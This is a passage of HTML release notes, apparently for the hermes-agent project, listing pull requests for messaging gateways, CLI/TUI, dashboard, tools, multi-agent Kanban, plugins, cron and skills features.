<li><strong>Support <code>!cmd</code> as alternate prefix for slash commands in threads</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25355/hovercard">#25355</a>)</li>
</ul>
<h3>WhatsApp</h3>
<ul>
<li><strong>Surface quoted reply metadata from Baileys</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442902475" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25398/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25398">#25398</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25489/hovercard">#25489</a>)</li>
</ul>
<h3>Feishu / Google Chat / others</h3>
<ul>
<li><strong>Feishu: native update prompt cards</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22448" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22448/hovercard">#22448</a>)</li>
<li><strong>Google Chat: repair setup prompt imports</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22038/hovercard">#22038</a>)</li>
<li><strong>Google Chat: honor relay-declared sender_type</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409786696" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22107/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22107">#22107</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22432/hovercard">#22432</a>)</li>
<li><strong>LINE: use <code>build_source</code> instead of nonexistent <code>create_source</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24717" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24717/hovercard">#24717</a>)</li>
<li><strong>Add <code>weixin, and more</code> to gateway docs</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4396673114" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21063" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21063/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21063">#21063</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wuwuzhijing/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wuwuzhijing">@wuwuzhijing</a>)</li>
</ul>
<hr>
<h2>🖥️ CLI &amp; TUI</h2>
<h3>CLI</h3>
<ul>
<li><strong>Show YOLO mode warning in banner and status bar</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26238/hovercard">#26238</a>)</li>
<li><strong>Confirm prompt for destructive slash commands</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174599074" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/4069" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/4069/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/4069">#4069</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22687" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22687/hovercard">#22687</a>)</li>
<li><strong><code>docker_extra_args</code> + <code>display.timestamps</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23599" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23599/hovercard">#23599</a>)</li>
<li><strong>Delegate tool: show user's actual concurrency / spawn-depth limits in description</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22694" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22694/hovercard">#22694</a>)</li>
</ul>
<h3>TUI</h3>
<ul>
<li><strong><code>/sessions</code> slash command for browsing and resuming previous sessions</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/20805" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20805/hovercard">#20805</a>)</li>
<li><strong>Segment turns with rule above non-first user msgs; trim ticker dead space</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21846/hovercard">#21846</a>)</li>
<li><strong>Support attaching to an existing gateway</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21978" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21978/hovercard">#21978</a>)</li>
<li><strong>Resolve markdown links to readable page titles</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24013" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24013/hovercard">#24013</a>)</li>
<li><strong>Width-aware markdown table rendering with vertical fallback</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26195/hovercard">#26195</a>)</li>
<li><strong>Keep Ink displayCursor in sync with fast-echo writes so cursor stops drifting</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26717" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26717/hovercard">#26717</a>)</li>
<li><strong>Allow transcript scroll + Esc during approval/clarify/confirm prompts</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26414/hovercard">#26414</a>)</li>
<li><strong>Preserve session when switching personality</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/20942" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20942/hovercard">#20942</a>)</li>
<li><strong>Skip native safety net on OSC52-capable terminals</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/20954" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20954/hovercard">#20954</a>)</li>
</ul>
<h3>Dashboard / GUI</h3>
<ul>
<li><strong>Route embedded TUI through dashboard gateway</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21979/hovercard">#21979</a>)</li>
<li><strong>Hide token/cost analytics behind config flag (default off)</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25438/hovercard">#25438</a>)</li>
<li><strong>Fix Langfuse observability — trace I/O, tool outputs, placeholder credentials</strong> (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411518378" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22342" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/22342/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/22342">#22342</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413605274" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22763" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/22763/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/22763">#22763</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26320" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26320/hovercard">#26320</a>)</li>
<li><strong>MiniMax 'Login' button launched Claude OAuth</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413936898" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22849/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22849">#22849</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24058" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24058/hovercard">#24058</a>)</li>
<li><strong>Update cron modals</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25985" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25985/hovercard">#25985</a>)</li>
<li><strong>Analytics: prevent silent token loss and add Claude 4.5–4.7 pricing</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21455/hovercard">#21455</a>)</li>
</ul>
<hr>
<h2>🔧 Tools &amp; Capabilities</h2>
<h3>Vision &amp; video</h3>
<ul>
<li><strong><code>vision_analyze</code> returns pixels to vision-capable models</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22955/hovercard">#22955</a>)</li>
<li><strong>Unified <code>video_generate</code> with pluggable provider backends</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25126/hovercard">#25126</a>)</li>
<li><strong><code>image_gen</code>: actionable setup message when no FAL backend is reachable</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26222/hovercard">#26222</a>)</li>
</ul>
<h3>Computer use</h3>
<ul>
<li><strong><code>computer_use</code> cua-driver backend + focus-safe ops + non-Anthropic provider fix</strong> (re-salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341933760" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16936" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16936/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16936">#16936</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21967/hovercard">#21967</a>)</li>
<li><strong>Refresh cua-driver on <code>hermes update</code> + add <code>install --upgrade</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24063" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24063/hovercard">#24063</a>)</li>
</ul>
<h3>LSP &amp; write-time diagnostics</h3>
<ul>
<li><strong>Semantic diagnostics from real language servers in <code>write_file</code>/<code>patch</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24168/hovercard">#24168</a>)</li>
<li><strong>Shift baseline diagnostics into post-edit coordinates</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25978" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25978/hovercard">#25978</a>)</li>
</ul>
<h3>Search &amp; web</h3>
<ul>
<li><strong>Brave Search (free tier) and DDGS search providers</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21337" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21337/hovercard">#21337</a>)</li>
<li><strong>Bearer auth header for Tavily <code>/crawl</code> endpoint</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24658" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24658/hovercard">#24658</a>)</li>
</ul>
<h3>X (Twitter)</h3>
<ul>
<li><strong>Gated <code>x_search</code> tool with OAuth-or-API-key auth</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26763/hovercard">#26763</a>)</li>
</ul>
<h3>Browser</h3>
<ul>
<li><strong>Route <code>browser_console</code> eval through supervisor's persistent CDP WS (180x faster)</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23226/hovercard">#23226</a>)</li>
<li><strong>Support externally managed Camofox sessions</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24499" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24499/hovercard">#24499</a>)</li>
</ul>
<h3>MCP</h3>
<ul>
<li><strong><code>supports_parallel_tool_calls</code> for MCP servers</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265444652" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/9944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/9944/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/9944">#9944</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26825" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26825/hovercard">#26825</a>)</li>
<li><strong>Codex preset for Codex CLI MCP server</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4412978691" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22663" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22663/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22663">#22663</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22679" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22679/hovercard">#22679</a>)</li>
<li><strong>Stop retrying initial MCP auth failures</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4445105387" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25624/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25624">#25624</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25776" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25776/hovercard">#25776</a>)</li>
</ul>
<h3>Google Workspace</h3>
<ul>
<li><strong>Drive write ops + Docs/Sheets create/append</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21895/hovercard">#21895</a>)</li>
</ul>
<h3>Per-turn verifier</h3>
<ul>
<li><strong>Per-turn file-mutation verifier footer</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24498/hovercard">#24498</a>)</li>
</ul>
<hr>
<h2>🧩 Kanban (Multi-Agent)</h2>
<ul>
<li><strong><code>specify</code> — auxiliary LLM fleshes out triage tasks</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21435/hovercard">#21435</a>)</li>
<li><strong>Orchestrator board tools — <code>kanban_list</code> + <code>kanban_unblock</code></strong> (carve-out of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4388855286" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/20568" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20568/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/20568">#20568</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23012/hovercard">#23012</a>)</li>
<li><strong><code>stranded_in_ready</code> diagnostic for unclaimed tasks</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23578/hovercard">#23578</a>)</li>
<li><strong>Dashboard batch QOL upgrade</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415907547" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/23240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23240/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/23240">#23240</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23550" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23550/hovercard">#23550</a>)</li>
<li><strong>Tooltips and docs link across dashboard</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21541/hovercard">#21541</a>)</li>
<li><strong>Dedupe notifier delivery via atomic claim + rewind on failure</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4412567868" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22558/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22558">#22558</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23401/hovercard">#23401</a>)</li>
<li><strong>Keep notifier subscriptions alive across retry cycles</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400178047" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21398/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21398">#21398</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23423" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23423/hovercard">#23423</a>)</li>
<li><strong>Drop caller-controlled author override in <code>kanban_comment</code></strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409830771" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22109/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22109">#22109</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22435/hovercard">#22435</a>)</li>
<li><strong>Sanitize comment author rendering in <code>build_worker_context</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22769" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22769/hovercard">#22769</a>)</li>
</ul>
<hr>
<h2>🧠 Plugins &amp; Extension</h2>
<h3>Plugin surface</h3>
<ul>
<li><strong>Run any LLM call from inside a plugin via <code>ctx.llm</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23194/hovercard">#23194</a>)</li>
<li><strong><code>tool_override</code> flag for replacing built-in tools</strong> (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276172104" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/11049" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/11049/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/11049">#11049</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26759/hovercard">#26759</a>)</li>
<li><strong><code>standalone_sender_fn</code> for out-of-process cron delivery</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22461" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22461/hovercard">#22461</a>)</li>
<li><strong><code>HERMES_PLUGINS_DEBUG=1</code> surfaces plugin discovery logs</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22684" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22684/hovercard">#22684</a>)</li>
<li><strong>Hindsight-client as optional dependency</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21818/hovercard">#21818</a>)</li>
</ul>
<h3>Profile &amp; distribution</h3>
<ul>
<li><strong>Shareable profile distributions via git</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/20831" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20831/hovercard">#20831</a>)</li>
</ul>
<hr>
<h2>⏰ Cron</h2>
<ul>
<li><strong>Routing intent — <code>deliver=all</code> fans out to every connected channel</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21495" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21495/hovercard">#21495</a>)</li>
<li><strong>Support name-based lookup for job operations</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26231/hovercard">#26231</a>)</li>
<li><strong>Blank Cron dashboard tab + partial-record crashes</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4396341916" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21042/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21042">#21042</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411464552" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22330/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22330">#22330</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22389/hovercard">#22389</a>)</li>
<li><strong>Do not seed <code>HERMES_SESSION_*</code> contextvars from cron origin</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411575899" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22356/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22356">#22356</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22382" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22382/hovercard">#22382</a>)</li>
<li><strong>Scan assembled prompt including skill content for prompt injection</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4171149796" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/3968" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/3968/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/3968">#3968</a>)</li>
</ul>
<hr>
<h2>🧩 Skills Ecosystem</h2>
<h3>Skills Hub</h3>
<ul>
<li><strong><code>hermes-skills/huggingface</code> as a trusted default tap</strong> (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117085837" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2549" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2549/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2549">#2549</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26219/hovercard">#26219</a>)</li>
<li><strong>Show per-skill pages in the left sidebar</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26646" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26646/hovercard">#26646</a>)</li>
<li><strong>Richer info panels on the Skills Hub</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22905" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22905/hovercard">#22905</a>)</li>
<li><strong>Refuse <code>skill_view</code> name collisions instead of guessing</strong> (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224310629" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/6136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/6136/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/6136">#6136</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/polkn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/polkn">@polkn</a>)</li>
</ul>
<h3>Curator</h3>
<ul>
<li><strong>Show rename map in user-visible summary</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22910" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22910/hovercard">#22910</a>)</li>
<li><strong>Hint at <code>hermes curator pin</code> in the rename block</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23212" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23212/hovercard">#23212</a>)</li>
</ul>
<h3>New optional skills</h3>
<ul>
